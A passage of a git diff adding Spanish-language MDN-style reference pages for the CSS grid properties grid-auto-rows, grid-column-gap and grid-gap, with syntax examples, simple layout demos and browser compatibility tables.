+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/es/web/css/grid-auto-rows/index.html b/files/es/web/css/grid-auto-rows/index.html
new file mode 100644
index 0000000000..b50943f3c2
--- /dev/null
+++ b/files/es/web/css/grid-auto-rows/index.html
@@ -0,0 +1,204 @@
+---
+title: grid-auto-rows
+slug: Web/CSS/grid-auto-rows
+tags:
+  - CSS
+  - Grilla CSS
+  - Propiedad CSS
+translation_of: Web/CSS/grid-auto-rows
+---
+<p>La propiedad <strong><code>grid-auto-rows</code></strong> de CSS especifíca el tamaño de una nueva fila creada de forma implícita.</p>
+
+<pre class="brush: css no-line-numbers">/* Keyword values */
+grid-auto-rows: min-content;
+grid-auto-rows: max-content;
+grid-auto-rows: auto;
+
+/* &lt;length&gt; values */
+grid-auto-rows: 100px;
+grid-auto-rows: 20cm;
+grid-auto-rows: 50vmax;
+
+/* &lt;percentage&gt; values */
+grid-auto-rows: 10%;
+grid-auto-rows: 33.3%;
+
+/* &lt;flex&gt; values */
+grid-auto-rows: 0.5fr;
+grid-auto-rows: 3fr;
+
+/* minmax() values */
+grid-auto-rows: minmax(100px, auto);
+grid-auto-rows: minmax(max-content, 2fr);
+grid-auto-rows: minmax(20%, 80vmax);
+
+/* multiple track-size values */
+grid-auto-rows: min-content max-content auto;
+grid-auto-rows: 100px 150px 390px;
+grid-auto-rows: 10% 33.3%;
+grid-auto-rows: 0.5fr 3fr 1fr;
+grid-auto-rows: minmax(100px, auto) minmax(max-content, 2fr) minmax(20%, 80vmax);
+grid-auto-rows: 100px minmax(100px, auto) 10% 0.5fr fit-content(400px);
+
+/* Global values */
+grid-auto-rows: inherit;
+grid-auto-rows: initial;
+grid-auto-rows: unset;
+</pre>
+
+<p>Si el elemento de una grilla es ubicado en una fila que no tiene un tamaño explicitado en {{cssxref("grid-template-rows")}}, se crean filas implícitas en la {{glossary("grid", "grilla")}} para ubicarlas. Esto puede suceder al ubicar explícitamente un elemento en una fila que está fuera de rango o por el posicionamiento automático que utiliza el algoritmo para crear líneas adicionales.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Es una medida no negativa.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Es un {{cssxref("percentage", "&lt;percentage&gt;")}} no negativo relativo al tamaño del bloque del contenedor de la grilla. Si el tamaño del bloque del contenedor de la grilla es indefinido, el valor del porcentaje es tratado como <code>auto</code>.</dd>
+ <dt><code>&lt;flex&gt;</code></dt>
+ <dd>Es una dimensión no negativa con la unidad <code>fr</code> especificando el factor flex de la pista (track). Cada pista con valor <code>&lt;flex&gt;</code> toma una parte del espacio restante en proporción con su factor flex.
+ <p>Cuando aparece fuera de una notación <code>minmax()</code>, implica un mínimo automático (p.e. <code>minmax(auto, &lt;flex&gt;)</code>).</p>
+ </dd>
+ <dt><code>max-content</code></dt>
+ <dd>representa el largo maximo del contenido de cada uno de los items de la pista en la cuadricula(grid)</dd>
+ <dt><code>min-content</code></dt>
+</dl>
+
+<p>representa el largo minimo del contenido de cada uno de los items de la pista en la cuadricula(grid)</p>
+
+<dl>
+ <dt><code>minmax(minimo, maximo)</code></dt>
+ <dd>es una notacion funcional que define el rango del tamano, dicho tamano debe ser mayor o igual al (minimo) y menor o igual al (maximo). si el parametro (maximo) es mas pequeno que el parametro (minimo), entonces el parametro (maximo) es ignorado y la funcion se tratara con el parametro (minimo). De otra manera si, a valor <code>&lt;flex&gt;</code> pone como minimo el factor flex de la pista, sera tratado como cero( or el contenido minimo, si el contenedor grid es inicializado con el tamano minimo permitido ).</dd>
+</dl>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Es una palabra clave que es identica a contenido máximo si es un máximo. Como mínimo representa el valor mínimo más grande (como esté especificado por  {{cssxref("min-width")}}/{{cssxref("min-height")}}) de los elementos de la grilla que ocupan la pista de la grilla.</dd>
+ <dd>
+ <p class="note">Nota: los tamaños de la pista <code>auto</code> (y sólo los tamaños de la pista <code>auto</code>) pueden ser estirados por las propiedades {{cssxref("align-content")}} y {{cssxref("justify-content")}}.</p>
+ </dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;div id="grid"&gt;
+  &lt;div id="item1"&gt;&lt;/div&gt;
+  &lt;div id="item2"&gt;&lt;/div&gt;
+  &lt;div id="item3"&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css; highlight[6]">#grid {
+  width: 200px;
+  display: grid;
+  grid-template-areas: "a a";
+  grid-gap: 10px;
+  grid-auto-rows: 100px;
+}
+
+#grid &gt; div {
+  background-color: lime;
+}
+</pre>
+
+<p>{{EmbedLiveSample("Example", "210px", "210px")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-auto-rows", "grid-auto-rows")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.grid-auto-rows")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Related CSS properties: {{cssxref("grid-auto-columns")}}, {{cssxref("grid-auto-flow")}}, {{cssxref("grid")}}</li>
+ <li>Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout#Sizing_rows_in_the_implicit_grid">Auto-placement in grid layout - sizing rows in the implicit grid</a></em></li>
+ <li>Video tutorial: <em><a href="http://gridbyexample.com/video/series-auto-placement-order/">Introducing Grid auto-placement and order</a></em></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/es/web/css/grid-column-gap/index.html b/files/es/web/css/grid-column-gap/index.html
new file mode 100644
index 0000000000..4fb514cc7f
--- /dev/null
+++ b/files/es/web/css/grid-column-gap/index.html
@@ -0,0 +1,157 @@
+---
+title: grid-column-gap
+slug: Web/CSS/grid-column-gap
+translation_of: Web/CSS/column-gap
+---
+<p>La propiedad CSS <strong><code>grid-column-gap</code></strong> especifica el {{glossary("gutters","gutter")}} entre {{glossary("grid columns")}}.</p>
+
+<pre class="brush: css no-line-numbers">/* &lt;length&gt; values */
+grid-column-gap: 20px;
+grid-column-gap: 1em;
+grid-column-gap: 3vmin;
+grid-column-gap: 0.5cm;
+
+/* &lt;percentage&gt; value */
+grid-column-gap: 10%;
+
+/* Global values */
+grid-column-gap: inherit;
+grid-column-gap: initial;
+grid-column-gap: unset;
+</pre>
+
+<p>El efecto es como si las {{glossary("grid lines")}} afectadas adquieren una anchura específica: Los {{glossary("grid tracks", "grid track")}} entre dos líneas de la cuadrícula es el espacio entre los canales que las representa. Para el tamaño de la pista, cada canal se trata esencialmente como una pista adicional del tamaño especificado. Los valores negativos no son válidos.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>Es el ancho del canal que separa las columnas de la grilla. {{cssxref("&lt;percentage&gt;")}} valores son relativos a la dimensión del elemento.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="grid"&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[6]">#grid {
+  display: grid;
+  height: 100px;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: 100px;
+  grid-column-gap: 20px;
+}
+
+#grid &gt; div {
+  background-color: lime;
+}
+</pre>
+
+<p>{{EmbedLiveSample("Example", "100%", "100px")}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-column-gap", "grid-column-gap")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Definición incial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p> </p>
+
+
+
+<p>{{Compat("css.properties.grid-column-gap")}}</p>
+
+<p> </p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Propiedades CSS relacionadas: {{cssxref("grid-row-gap")}}, {{cssxref("grid-gap")}}</li>
+ <li>Guía sobre CSS Grid Layout: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout#Gutters">Conceptos básicos sobre CSS Grid Layout - Gutters</a></em></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><strong> <a href="/en-US/docs/Web/CSS/Reference">Referencia CSS</a></strong></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">Diseño CSS Grid</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guías</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Conceptos básicos sobre Diseño CSS Grid </a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relación con otros métodos de diseño</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Posicionamiento basado en línea</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Propiedades</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-colunms</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glosario</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/es/web/css/grid-gap/index.html b/files/es/web/css/grid-gap/index.html
new file mode 100644
index 0000000000..4b0c156d44
--- /dev/null
+++ b/files/es/web/css/grid-gap/index.html
@@ -0,0 +1,251 @@
+---
+title: grid-gap
+slug: Web/CSS/grid-gap
+translation_of: Web/CSS/gap
+---
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <code>grid-gap</code> es una propiedad  abreviada <a href="/en-US/docs/Web/CSS/Shorthand_properties">shorthand</a> para {{cssxref("grid-row-gap")}} y {{cssxref("grid-column-gap")}} que especifica los canales entre las filas y las columnas de la cuadrícula.</p>
+
+<p>Si &lt;'grid-column-gap'&gt; se omite, adquiere el mismo valor que &lt;'grid-row-gap'&gt;.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: css">/* Un valor &lt;longitud&gt; */
+grid-gap: 20px;
+grid-gap: 1em;
+grid-gap: 3vmin;
+grid-gap: 0.5cm;
+
+/* Un valor &lt;porcentaje&gt; */
+grid-gap: 16%;
+grid-gap: 100%;
+
+/* Dos valores &lt;longitud&gt; */
+grid-gap: 20px 10px;
+grid-gap: 1em 0.5em;
+grid-gap: 3vmin 2vmax;
+grid-gap: 0.5cm 2mm;
+
+/* Uno o dos valores &lt;porcentaje&gt; */
+grid-gap: 16% 100%;
+grid-gap: 21px 82%;
+
+/* Valores Globales */
+grid-gap: inherit;
+grid-gap: initial;
+grid-gap: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;longitud&gt;</code></dt>
+ <dd>Es el ancho del calalón que separa las lineas de las rejillas.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Es el ancho del canalón que separa las lineas de las rejillas, en relación con la dimensión del elemento.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div id="grid"&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css; highlight[5]">#grid {
+  display: grid;
+  height: 200px;
+  grid-template: repeat(3, 1fr) / repeat(3, 1fr);
+  grid-gap: 20px 5px;
+}
+
+#grid &gt; div {
+  background-color: lime;
+}
+</pre>
+
+<p>{{EmbedLiveSample("Example", "100%", "200px")}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-gap", "grid-gap")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome("57.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+   <td>{{CompatGeckoDesktop("52.0")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+   <td>{{CompatOpera(44)}}<sup>[4]</sup></td>
+   <td>{{CompatNo}}<sup>[6]</sup></td>
+  </tr>
+  <tr>
+   <td>&lt;porcentaje&gt; valor</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+   <td>{{CompatGeckoDesktop("52.0")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}<sup>[4]</sup></td>
+   <td>{{CompatNo}}<sup>[6]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Vista web de Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Móvil (Gecko)</th>
+   <th>IE Móvil</th>
+   <th>Opera Móvil</th>
+   <th>Safari Móvil</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("57.0")}}<sup>[1]</sup></td>
+   <td>{{CompatChrome("57.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("52.0")}}<sup>[3]</sup></td>
+   <td>{{CompatOperaMobile(44)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>&lt;porcentaje&gt; value</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("52.0")}}<sup>[5]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Implementado bajo la plataforma web experimental<em> de características de etiquetas</em> en <code>chrome://flags</code> since Chrome 29.0.</p>
+
+<p>[2] Implemented behind the preference <code>layout.css.grid.enabled</code> since Gecko 40.0 {{geckoRelease("40.0")}}, defaulting to <code>false</code>. Since Gecko 52.0 {{geckoRelease("52.0")}} it is enabled by default.</p>
+
+<p>[3] Internet Explorer implements an <a href="https://www.w3.org/TR/2011/WD-css3-grid-layout-20110407/">older version of the specification</a>, which didn't define this property.</p>
+
+<p>[4] Implemented behind the <em>Enable experimental Web Platform features</em> flag in <code>chrome://flags</code> since Opera 28.0.</p>
+
+<p>[5] Implemented behind the preference <code>layout.css.grid.enabled</code> since Gecko 49.0 {{geckoRelease("49.0")}}, defaulting to <code>false</code>. Since Gecko 52.0 {{geckoRelease("52.0")}} it is enabled by default.</p>
+
+<p>[6] Experimental implementation available in Safari Technological Preview.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Related CSS properties: {{cssxref("grid-row-gap")}}, {{cssxref("grid-column-gap")}}</li>
+ <li>Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout#Gutters">Basic concepts of grid layout - Gutters</a></em></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-colunms</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
